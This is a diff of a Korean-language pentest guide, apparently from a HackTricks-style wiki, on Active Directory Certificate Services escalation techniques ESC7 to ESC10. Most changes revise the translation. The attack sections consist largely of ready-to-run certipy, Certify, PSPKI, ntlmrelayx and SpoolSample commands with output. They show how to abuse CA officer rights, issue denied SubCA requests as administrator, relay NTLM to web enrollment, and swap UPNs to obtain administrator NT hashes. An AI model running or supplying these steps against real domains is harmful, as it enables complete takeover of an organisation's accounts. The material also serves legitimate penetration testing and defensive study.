||||
#### 설명
|
||||
|
||||
인증서 기관의 접근 제어는 CA 작업을 관리하는 일련의 권한을 통해 유지됩니다. 이러한 권한은 `certsrv.msc`에 액세스하여 CA를 마우스 오른쪽 버튼으로 클릭한 다음 속성을 선택한 다음 보안 탭으로 이동하여 볼 수 있습니다. 또한 PSPKI 모듈을 사용하여 권한을 열거할 수도 있습니다. 다음과 같은 명령을 사용합니다:
|
||||
인증서 권한 제어는 CA(인증서 기관)에 대한 액세스 제어를 관리하는 권한 집합을 통해 유지됩니다. 이러한 권한은 `certsrv.msc`에 액세스하여 CA를 마우스 오른쪽 버튼으로 클릭한 다음 속성을 선택한 후 보안 탭으로 이동하여 볼 수 있습니다. 또한 PSPKI 모듈을 사용하여 다음과 같은 명령을 사용하여 권한을 열거할 수 있습니다:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
이는 "CA 관리자"와 "인증서 관리자" 역할에 해당하는 주요 권한인 **`ManageCA`**와 **`ManageCertificates`**에 대한 통찰력을 제공합니다.
|
||||
이는 "CA 관리자" 및 "인증서 관리자" 역할에 상응하는 주요 권한인 **`ManageCA`** 및 **`ManageCertificates`**에 대한 통찰을 제공합니다.
|
||||
|
||||
#### 남용
|
||||
|
||||
인증 기관에서 **`ManageCA`** 권한을 가지면 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 이는 템플릿에서 SAN 지정을 허용하기 위해 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 토글하는 것을 포함하며, 도메인 승격의 중요한 측면입니다.
|
||||
인증 기관에서 **`ManageCA`** 권한을 가지면 주체는 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 이는 템플릿에서 SAN 지정을 허용하는 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 전환하는 것을 포함하며, 이는 도메인 상승의 중요한 측면입니다.
|
||||
|
||||
PSPKI의 **Enable-PolicyModuleFlag** cmdlet을 사용하면 직접적인 GUI 상호작용 없이 수정이 가능하므로 이 과정을 단순화할 수 있습니다.
|
||||
이 프로세스를 간소화하는 것은 PSPKI의 **Enable-PolicyModuleFlag** cmdlet을 사용하여 직접 GUI 상호 작용 없이 수정을 허용합니다.
|
||||
|
||||
**`ManageCertificates`** 권한을 가지고 있다면 보류 중인 요청을 승인하여 "CA 인증서 관리자 승인" 보호장치를 우회할 수 있습니다.
|
||||
**`ManageCertificates`** 권한 소유는 보류 중인 요청을 승인하여 "CA 인증서 관리자 승인" 보호장치를 우회하는 데 효과적입니다.
|
||||
|
||||
**Certify**와 **PSPKI** 모듈의 조합을 사용하여 인증서를 요청, 승인 및 다운로드할 수 있습니다:
|
||||
**Certify** 및 **PSPKI** 모듈의 조합을 사용하여 인증서를 요청, 승인 및 다운로드할 수 있습니다:
|
||||
```powershell
|
||||
# Request a certificate that will require an approval
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
|
||||
|
@ -265,22 +270,22 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
|||
#### 설명
|
||||
|
||||
{% hint style="warning" %}
|
||||
이전 공격에서는 **`Manage CA`** 권한을 사용하여 **EDITF\_ATTRIBUTESUBJECTALTNAME2** 플래그를 활성화하여 **ESC6 공격**을 수행했지만, 이는 CA 서비스(`CertSvc`)가 다시 시작될 때까지는 효과가 없습니다. 사용자가 `Manage CA` 액세스 권한을 가지고 있으면 사용자는 서비스를 다시 시작할 수도 있습니다. 그러나 이는 사용자가 원격으로 서비스를 다시 시작할 수 있는 것을 의미하지는 않습니다. 또한, 대부분의 패치된 환경에서는 2022년 5월 보안 업데이트로 인해 ESC6이 기본적으로 작동하지 않을 수 있습니다.
|
||||
이전 공격에서는 **`Manage CA`** 권한을 사용하여 **EDITF\_ATTRIBUTESUBJECTALTNAME2** 플래그를 활성화하여 **ESC6 공격**을 수행했지만, 이는 CA 서비스(`CertSvc`)가 다시 시작될 때까지는 어떤 효과도 없습니다. 사용자가 `Manage CA` 액세스 권한을 가지고 있을 때 사용자는 또한 **서비스를 다시 시작할 수 있습니다**. 그러나 이는 사용자가 원격으로 서비스를 다시 시작할 수 있다는 것을 의미하지는 않습니다. 또한 대부분의 패치된 환경에서는 2022년 5월 보안 업데이트로 인해 **ESC6가 기본적으로 작동하지 않을 수 있습니다**.
|
||||
{% endhint %}
|
||||
|
||||
따라서, 여기에서는 다른 공격을 제시합니다.
|
||||
따라서 다른 공격이 여기에 제시됩니다.
|
||||
|
||||
전제 조건:
|
||||
|
||||
* **`ManageCA` 권한**만 있어도 됩니다.
|
||||
* **`Manage Certificates` 권한** ( **`ManageCA`**에서 부여할 수 있음)
|
||||
* 인증서 템플릿 **`SubCA`**가 **활성화**되어 있어야 합니다. ( **`ManageCA`**에서 활성화할 수 있음)
|
||||
* **`ManageCA` 권한만**
|
||||
* **`Manage Certificates`** 권한( **`ManageCA`**에서 부여할 수 있음)
|
||||
* 인증서 템플릿 **`SubCA`**가 **활성화**되어 있어야 함(**`ManageCA`**에서 활성화할 수 있음)
|
||||
|
||||
이 기술은 `Manage CA` 및 `Manage Certificates` 액세스 권한을 가진 사용자가 **실패한 인증서 요청**을 발행할 수 있다는 사실에 의존합니다. **`SubCA`** 인증서 템플릿은 ESC1에 취약하지만 **관리자만** 템플릿에 등록할 수 있습니다. 따라서 **사용자**는 **`SubCA`**에 등록을 요청할 수 있지만, 이 요청은 **거부**될 것이며, 그 후에 **관리자가 발급**합니다.
|
||||
이 기술은 `Manage CA` _및_ `Manage Certificates` 액세스 권한을 가진 사용자가 **인증서 요청 실패**를 발행할 수 있다는 사실에 의존합니다. **`SubCA`** 인증서 템플릿은 **ESC1에 취약**하지만 **관리자만** 템플릿에 등록할 수 있습니다. 따라서 **사용자**는 **`SubCA`**에 등록을 요청할 수 있지만 **거부될 것이며**, 그 후 **관리자에 의해 발급될 것입니다**.
|
||||
|
||||
#### 남용
|
||||
|
||||
사용자를 새로운 관리자로 추가하여 사용자가 **`Manage Certificates`** 액세스 권한을 **자신에게 부여**할 수 있습니다.
|
||||
새로운 관리자로 사용자를 추가하여 **`Manage Certificates`** 액세스 권한을 **자신에게 부여**할 수 있습니다.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -299,9 +304,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
|
||||
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
||||
```
|
||||
만약 이 공격을 위한 사전 요구 사항을 충족했다면, **`SubCA` 템플릿을 기반으로 인증서를 요청**하는 것으로 시작할 수 있습니다.
|
||||
만약 이 공격을 위한 전제 조건을 충족했다면, **`SubCA` 템플릿을 기반으로 인증서를 요청**하는 것으로 시작할 수 있습니다.
|
||||
|
||||
**이 요청은 거부**될 것이지만, 우리는 개인 키를 저장하고 요청 ID를 기록해야 합니다.
|
||||
**이 요청은 거부**될 것이지만, 우리는 개인 키를 저장하고 요청 ID를 메모해야 합니다.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -313,14 +318,14 @@ Would you like to save the private key? (y/N) y
|
|||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
**`Manage CA` 및 `Manage Certificates`**를 사용하여 `ca` 명령과 `-issue-request <요청 ID>` 매개변수를 사용하여 **실패한 인증서** 요청을 발급할 수 있습니다.
|
||||
우리의 **`Manage CA`와 `Manage Certificates`**를 사용하여, `ca` 명령어와 `-issue-request <request ID>` 매개변수를 사용하여 **실패한 인증서** 요청을 발급할 수 있습니다.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully issued certificate
|
||||
```
|
||||
그리고 마지막으로, 우리는 `req` 명령과 `-retrieve <요청 ID>` 매개변수를 사용하여 **발급된 인증서를 검색**할 수 있습니다.
|
||||
그리고 마지막으로, `req` 명령어와 `-retrieve <request ID>` 매개변수를 사용하여 **발급된 인증서를 검색**할 수 있습니다.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -332,60 +337,53 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
## AD CS HTTP 엔드포인트로의 NTLM 릴레이 - ESC8
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
|
||||
### 설명
|
||||
|
||||
{% hint style="info" %}
|
||||
**AD CS가 설치된 환경**에서는, 취약한 **웹 등록 엔드포인트**가 존재하고, 적어도 하나의 **도메인 컴퓨터 등록 및 클라이언트 인증**을 허용하는 **인증서 템플릿이 게시**된 경우(예: 기본 **`Machine`** 템플릿), **스풀러 서비스가 활성화된 모든 컴퓨터가 공격자에 의해 침해될 수 있습니다**!
|
||||
**AD CS가 설치된 환경**에서는, 적어도 하나의 **웹 등록 엔드포인트가 취약**하게 존재하고 **도메인 컴퓨터 등록 및 클라이언트 인증을 허용하는 인증서 템플릿이 발행**된 경우(예: 기본 **`Machine`** 템플릿), **스풀러 서비스가 활성화된 모든 컴퓨터가 공격자에 의해 침투될 수 있게 됩니다**!
|
||||
{% endhint %}
|
||||
|
||||
AD CS는 여러 **HTTP 기반 등록 방법**을 지원하며, 이는 관리자가 설치할 수 있는 추가 서버 역할을 통해 제공됩니다. 이러한 HTTP 기반 인증서 등록을 위한 인터페이스는 **NTLM 릴레이 공격**에 취약합니다. 공격자는 **침해된 컴퓨터에서** 인바운드 NTLM을 통해 인증하는 **모든 AD 계정을 가장할 수 있습니다**. 피해자 계정을 가장하는 동안, 공격자는 이러한 웹 인터페이스를 사용하여 `User` 또는 `Machine` 인증서 템플릿을 사용하여 **클라이언트 인증서를 요청**할 수 있습니다.
|
||||
AD CS에서는 **여러 HTTP 기반 등록 방법**이 지원되며, 관리자가 설치할 수 있는 추가 서버 역할을 통해 이용할 수 있습니다. 이러한 HTTP 기반 인증서 등록을 위한 인터페이스는 **NTLM 릴레이 공격**에 취약합니다. **공격자는 침투된 기기에서 인바운드 NTLM을 통해 인증하는 모든 AD 계정을 가장할 수 있습니다**. 피해자 계정을 가장하는 동안, 공격자는 이러한 웹 인터페이스에 액세스하여 `User` 또는 `Machine` 인증서 템플릿을 사용하여 클라이언트 인증서를 요청할 수 있습니다.
|
||||
|
||||
* **웹 등록 인터페이스**(http://<caserver>/certsrv/에서 사용 가능한 오래된 ASP 애플리케이션)는 기본적으로 HTTP만 지원하며, NTLM 릴레이 공격에 대한 보호를 제공하지 않습니다. 또한, 인증 HTTP 헤더를 통해 NTLM 인증만 허용하도록 명시적으로 설정되어 있어 Kerberos와 같은 보안 인증 방법을 적용할 수 없습니다.
|
||||
* **인증서 등록 서비스**(CES), **인증서 등록 정책**(CEP) 웹 서비스 및 **네트워크 장치 등록 서비스**(NDES)는 기본적으로 인증 HTTP 헤더를 통해 네고시에이트 인증을 지원합니다. 네고시에이트 인증은 Kerberos와 **NTLM을 모두** 지원하므로, 공격자는 릴레이 공격 중에 NTLM 인증으로 **다운그레이드**할 수 있습니다. 이러한 웹 서비스는 기본적으로 HTTPS를 지원하지만, HTTPS만으로는 NTLM 릴레이 공격에 대한 보호가 되지 않습니다. HTTPS 서비스의 NTLM 릴레이 공격으로부터의 보호는 HTTPS와 채널 바인딩을 결합할 때만 가능합니다. 유감스럽게도, AD CS는 채널 바인딩을 위해 필요한 IIS의 확장 보호를 활성화하지 않습니다.
|
||||
* **웹 등록 인터페이스**(http://<caserver>/certsrv/에서 사용 가능한 오래된 ASP 애플리케이션)는 기본적으로 HTTP만 지원하며, NTLM 릴레이 공격에 대한 보호를 제공하지 않습니다. 또한, 인증 HTTP 헤더를 통해 명시적으로 NTLM 인증만 허용하므로 Kerberos와 같은 더 안전한 인증 방법을 사용할 수 없습니다.
|
||||
* **인증서 등록 서비스**(CES), **인증서 등록 정책**(CEP) 웹 서비스 및 **네트워크 장치 등록 서비스**(NDES)는 기본적으로 인증 HTTP 헤더를 통해 네고시에이트 인증을 지원합니다. 네고시에이트 인증은 Kerberos와 **NTLM을 모두 지원**하며, 공격자는 릴레이 공격 중 NTLM으로 **다운그레이드**할 수 있습니다. 이러한 웹 서비스는 기본적으로 HTTPS를 지원하지만, HTTPS만으로는 NTLM 릴레이 공격에 대한 보호를 제공하지 않습니다. HTTPS 서비스의 NTLM 릴레이 공격으로부터의 보호는 HTTPS가 채널 바인딩과 결합될 때에만 가능합니다. 안타깝게도, AD CS는 채널 바인딩을 위해 필요한 IIS의 확장된 인증 보호를 활성화하지 않습니다.
|
||||
|
||||
NTLM 릴레이 공격의 일반적인 **문제**는 NTLM 세션의 **짧은 지속 기간**과 공격자가 **NTLM 서명을 필요로 하는 서비스와 상호 작용할 수 없는 제한**입니다.
|
||||
NTLM 릴레이 공격의 **일반적인 문제점**은 **NTLM 세션의 짧은 기간**과 **공격자가 NTLM 서명을 필요로 하는 서비스와 상호 작용할 수 없는** 점입니다.
|
||||
|
||||
그러나 이러한 제한은 NTLM 릴레이 공격을 이용하여 사용자를 위한 인증서를 획득함으로써 극복될 수 있습니다. 인증서의 유효 기간이 세션의 지속 기간을 결정하며, 인증서는 **NTLM 서명을 필요로 하는 서비스와 함께 사용**될 수 있습니다. 훔친 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:
|
||||
그러나 이 제한은 NTLM 릴레이 공격을 통해 사용자를 위한 인증서를 획들할하여 극복됩니다. 인증서의 유효 기간이 세션의 기간을 결정하며, 인증서는 **NTLM 서명을 필요로 하는 서비스에서 사용**할 수 있습니다. 훔친 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:
|
||||
|
||||
{% content-ref url="account-persistence.md" %}
|
||||
[account-persistence.md](account-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
NTLM 릴레이 공격의 또 다른 제한은 **공격자가 제어하는 컴퓨터가 피해자 계정에 의해 인증되어야 한다는 것**입니다. 공격자는 이 인증을 기다릴 수도 있고, 강제로 시도할 수도 있습니다:
|
||||
NTLM 릴레이 공격의 또 다른 제한은 **공격자가 피해자 계정에 의해 인증된 기기**여야 한다는 것입니다. 공격자는 이 인증을 기다리거나 강제할 수 있습니다:
|
||||
|
||||
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **남용**
|
||||
### **악용**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)의 `cas`는 **활성화된 HTTP AD CS 엔드포인트**를 열거합니다:
|
||||
[**Certify**](https://github.com/GhostPack/Certify)의 `cas`는 **활성화된 HTTP AD CS 엔드포인트를 열거**합니다:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
`msPKI-Enrollment-Servers` 속성은 기업용 인증 기관(CA)이 인증서 등록 서비스(CES) 엔드포인트를 저장하는 데 사용됩니다. 이러한 엔드포인트는 **Certutil.exe** 도구를 사용하여 구문 분석하고 나열할 수 있습니다:
|
||||
`msPKI-Enrollment-Servers` 속성은 기업용 인증 기관(CAs)가 인증서 등록 서비스(CES) 엔드포인트를 저장하는 데 사용됩니다. 이러한 엔드포인트는 **Certutil.exe** 도구를 활용하여 구문 분석하고 나열할 수 있습니다:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (754).png" alt=""><figcaption></figcaption></figure>
|
||||
```powershell
|
||||
Import-Module PSPKI
|
||||
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
```
|
||||
#### Certify를 이용한 악용
|
||||
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Certify는 Windows 환경에서 인증서를 관리하는 도구입니다. 이 도구를 악용하여 권한 상승을 시도할 수 있습니다.
|
||||
|
||||
1. Certify를 설치하고 실행합니다.
|
||||
2. "New Certificate"를 선택하여 새로운 인증서를 생성합니다.
|
||||
3. 인증서에는 원하는 권한을 부여할 수 있습니다. 예를 들어, "Domain Admins" 그룹에 속한 사용자로 인증서를 발급할 수 있습니다.
|
||||
4. 인증서를 발급한 후, 해당 인증서를 사용하여 권한 상승을 시도합니다.
|
||||
|
||||
이를 통해 Certify를 악용하여 도메인 관리자 권한을 얻을 수 있습니다.
|
||||
#### Certify를 악용하기
|
||||
```bash
|
||||
## In the victim machine
|
||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||
|
@ -400,11 +398,11 @@ proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2sup
|
|||
# Force authentication from victim to compromised machine with port forwards
|
||||
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
|
||||
```
|
||||
#### [Certipy](https://github.com/ly4k/Certipy)을 이용한 남용
|
||||
#### [Certipy](https://github.com/ly4k/Certipy)를 이용한 남용
|
||||
|
||||
인증서 요청은 Certipy에 의해 기본적으로 `Machine` 또는 `User` 템플릿을 기반으로 수행되며, 전달되는 계정 이름이 `$`로 끝나는지 여부에 따라 결정됩니다. 대체 템플릿의 지정은 `-template` 매개변수를 사용하여 수행할 수 있습니다.
|
||||
인증서 요청은 Certipy에 의해 기본적으로 `Machine` 또는 `User` 템플릿을 기반으로 하며, 전달되는 계정 이름이 `$`로 끝나는지에 따라 결정됩니다. 대체 템플릿의 지정은 `-template` 매개변수를 사용하여 달성할 수 있습니다.
|
||||
|
||||
[PetitPotam](https://github.com/ly4k/PetitPotam)과 같은 기술을 사용하여 인증을 강제화할 수 있습니다. 도메인 컨트롤러와 작업할 때는 `-template DomainController`를 지정해야 합니다.
|
||||
[PetitPotam](https://github.com/ly4k/PetitPotam)과 같은 기술을 사용하여 강제 인증을 수행할 수 있습니다. 도메인 컨트롤러를 다룰 때는 `-template DomainController`의 지정이 필요합니다.
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -417,94 +415,95 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
## 보안 확장 없음 - ESC9 <a href="#5485" id="5485"></a>
|
||||
## 보안 확장 없음 - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
|
||||
### 설명
|
||||
|
||||
**`msPKI-Enrollment-Flag`**의 새로운 값인 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)은 ESC9로 불리며, 인증서에 **새로운 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장을 포함하지 않도록** 방지합니다. 이 플래그는 `StrongCertificateBindingEnforcement`가 `1`로 설정된 경우 (기본 설정)와 `2`로 설정된 경우와 대조적입니다. 이 플래그는 ESC10과 같이 Kerberos 또는 Schannel을 위한 더 약한 인증서 매핑이 악용될 수 있는 시나리오에서 더욱 중요해지며, ESC9의 부재는 요구 사항을 변경하지 않습니다.
|
||||
새 값 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)은 **`msPKI-Enrollment-Flag`**에 대한 ESC9로 참조되며, 인증서에 **새 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장을 포함하는 것을 방지**합니다. 이 플래그는 `StrongCertificateBindingEnforcement`이 `1`로 설정된 경우 (기본 설정)와 대조적으로 `2`로 설정된 경우에 중요해집니다. ESC9의 부재는 요구 사항을 변경하지 않기 때문에, Kerberos 또는 Schannel을 위한 더 약한 인증서 매핑이 악용될 수 있는 경우(ESC10과 같은)에 이 플래그가 더욱 중요해집니다.
|
||||
|
||||
이 플래그의 설정이 중요해지는 조건은 다음과 같습니다:
|
||||
- `StrongCertificateBindingEnforcement`가 `2`로 조정되지 않은 경우 (기본값은 `1`) 또는 `CertificateMappingMethods`에 `UPN` 플래그가 포함된 경우.
|
||||
- 인증서에 `msPKI-Enrollment-Flag` 설정 내에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그가 표시됩니다.
|
||||
- 인증서에 클라이언트 인증 EKU가 지정됩니다.
|
||||
- 어떤 계정에 대해 `GenericWrite` 권한이 다른 계정을 손상시키기 위해 사용 가능합니다.
|
||||
이 플래그 설정이 중요해지는 조건은 다음과 같습니다:
|
||||
|
||||
### 악용 시나리오
|
||||
* `StrongCertificateBindingEnforcement`가 `2`로 조정되지 않은 경우(기본값은 `1`), 또는 `CertificateMappingMethods`에 `UPN` 플래그가 포함된 경우.
|
||||
* 인증서가 `msPKI-Enrollment-Flag` 설정 내에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 표시됨.
|
||||
* 인증서에 클라이언트 인증 EKU가 지정됨.
|
||||
* 다른 계정을 침해하기 위해 `GenericWrite` 권한이 제공됨.
|
||||
|
||||
`John@corp.local`이 `Jane@corp.local`에 대해 `GenericWrite` 권한을 가지고 있으며, `Administrator@corp.local`을 손상시키기 위한 목표로 합니다. `Jane@corp.local`이 등록할 수 있는 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성됩니다.
|
||||
### 남용 시나리오
|
||||
|
||||
처음에는 `John`의 `GenericWrite`를 통해 Shadow Credentials를 사용하여 `Jane`의 해시를 획득합니다:
|
||||
`John@corp.local`이 `Jane@corp.local`에 대한 `GenericWrite` 권한을 보유하고 있으며, `Administrator@corp.local`을 침해하려고 하는 경우를 가정해 봅시다. `Jane@corp.local`이 등록할 수 있는 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성됩니다.
|
||||
|
||||
먼저, `John`의 `GenericWrite`로 인해 `Jane`의 해시를 획득합니다.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
다음으로, `Jane`의 `userPrincipalName`이 `@corp.local` 도메인 부분을 의도적으로 생략하여 `Administrator`로 수정됩니다:
|
||||
이후, `Jane`의 `userPrincipalName`이 의도적으로 `@corp.local` 도메인 부분을 생략하고 `Administrator`로 수정되었습니다:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
이 수정은 제약 조건을 위반하지 않습니다. `Administrator@corp.local`이 여전히 `Administrator`의 `userPrincipalName`으로 유지되기 때문입니다.
|
||||
이 수정은 제약 조건을 위반하지 않습니다. `Administrator@corp.local`이 `Administrator`의 `userPrincipalName`으로서 구분되는 한.
|
||||
|
||||
이에 따라 취약한 상태로 표시된 `ESC9` 인증서 템플릿이 `Jane`으로 요청됩니다:
|
||||
이에 따라 취약하게 표시된 `ESC9` 인증서 템플릿이 `Jane`으로 요청됩니다:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
인증서의 `userPrincipalName`에는 "object SID"가 없으며, "Administrator"를 반영합니다.
|
||||
인증서의 `userPrincipalName`이 "Administrator"를 반영하며 "object SID"가 없음을 나타냅니다.
|
||||
|
||||
그런 다음 `Jane`의 `userPrincipalName`은 원래대로 `Jane@corp.local`로 복원됩니다:
|
||||
그런 다음 `Jane`의 `userPrincipalName`이 원래 값인 `Jane@corp.local`로 되돌아갑니다:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
발급된 인증서로 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 생성됩니다. 인증서에 도메인이 지정되지 않았으므로 명령에 `-domain <도메인>`을 포함해야 합니다:
|
||||
인증서를 사용하여 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 생성됩니다. 인증서에 도메인이 지정되어 있지 않기 때문에 명령에는 `-domain <domain>`을 포함해야 합니다:
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
## 약한 인증서 매핑 - ESC10
|
||||
## 취약한 인증서 매핑 - ESC10
|
||||
|
||||
### 설명
|
||||
|
||||
ESC10에서는 도메인 컨트롤러에서 참조하는 두 개의 레지스트리 키 값이 있습니다.
|
||||
도메인 컨트롤러에서 두 개의 레지스트리 키 값이 ESC10에 의해 참조됩니다:
|
||||
|
||||
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 아래의 `CertificateMappingMethods`의 기본값은 `0x18` (`0x8 | 0x10`)이며, 이전에는 `0x1F`로 설정되어 있었습니다.
|
||||
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 아래의 `StrongCertificateBindingEnforcement`의 기본 설정은 `1`이며, 이전에는 `0`이었습니다.
|
||||
* `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 하위의 `CertificateMappingMethods`의 기본 값은 `0x18` (`0x8 | 0x10`)이며, 이전에 `0x1F`로 설정되었습니다.
|
||||
* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 하위의 `StrongCertificateBindingEnforcement`의 기본 설정은 `1`이며, 이전에는 `0`이었습니다.
|
||||
|
||||
**Case 1**
|
||||
**사례 1**
|
||||
|
||||
`StrongCertificateBindingEnforcement`가 `0`으로 구성된 경우입니다.
|
||||
`StrongCertificateBindingEnforcement`가 `0`으로 구성된 경우.
|
||||
|
||||
**Case 2**
|
||||
**사례 2**
|
||||
|
||||
`CertificateMappingMethods`에 `UPN` 비트 (`0x4`)가 포함된 경우입니다.
|
||||
`CertificateMappingMethods`에 `UPN` 비트 (`0x4`)가 포함된 경우.
|
||||
|
||||
### 남용 Case 1
|
||||
### 남용 사례 1
|
||||
|
||||
`StrongCertificateBindingEnforcement`가 `0`으로 구성된 경우, `GenericWrite` 권한을 가진 계정 A를 악용하여 어떤 계정 B를 침해할 수 있습니다.
|
||||
`StrongCertificateBindingEnforcement`가 `0`으로 구성된 경우, `GenericWrite` 권한을 가진 계정 A를 악용하여 어떤 계정 B도 침해할 수 있습니다.
|
||||
|
||||
예를 들어, `Jane@corp.local`에 대한 `GenericWrite` 권한을 가지고 있는 경우, 공격자는 `Administrator@corp.local`을 침해하기 위해 공격을 시도합니다. 이 절차는 ESC9와 유사하며, 어떤 인증서 템플릿이든 사용할 수 있습니다.
|
||||
예를 들어, `Jane@corp.local`에 대한 `GenericWrite` 권한을 가지고 있는 경우, 공격자는 `Administrator@corp.local`을 침해하려고 합니다. 이 절차는 ESC9를 반영하여 어떤 인증서 템플릿이든 사용할 수 있습니다.
|
||||
|
||||
먼저, `Jane`의 해시를 Shadow Credentials를 이용하여 검색합니다. 이를 위해 `GenericWrite`를 악용합니다.
|
||||
초기에는 `Jane`의 해시를 가져와야 하며, 이는 Shadow Credentials를 이용하여 `GenericWrite`를 악용합니다.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
그 후, `Jane`의 `userPrincipalName`이 `@corp.local` 부분을 생략하여 의도적으로 `Administrator`로 변경됩니다. 이렇게 함으로써 제약 조건 위반을 피합니다.
|
||||
이후, `Jane`의 `userPrincipalName`이 `Administrator`로 변경되어 `@corp.local` 부분을 의도적으로 생략하여 제약 조건 위반을 피합니다.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
다음으로, `Jane`으로 클라이언트 인증을 가능하게 하는 인증서가 기본 `User` 템플릿을 사용하여 요청됩니다.
|
||||
다음으로, 기본 `User` 템플릿을 사용하여 `Jane`으로 클라이언트 인증을 가능하게 하는 인증서가 요청됩니다.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
`Jane`의 `userPrincipalName`은 원래대로 `Jane@corp.local`로 되돌립니다.
|
||||
`Jane`의 `userPrincipalName`은 그 후 원래 값인 `Jane@corp.local`로 되돌려집니다.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
획득한 인증서로 인증하면 `Administrator@corp.local`의 NT 해시가 생성되며, 인증서에 도메인 세부 정보가 없기 때문에 명령에서 도메인을 지정해야 합니다.
|
||||
인증서를 사용하여 인증하면 `Administrator@corp.local`의 NT 해시가 생성되며, 인증서에 도메인 세부 정보가 없기 때문에 명령에서 도메인을 지정해야 합니다.
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### 남용 사례 2
|
||||
|
||||
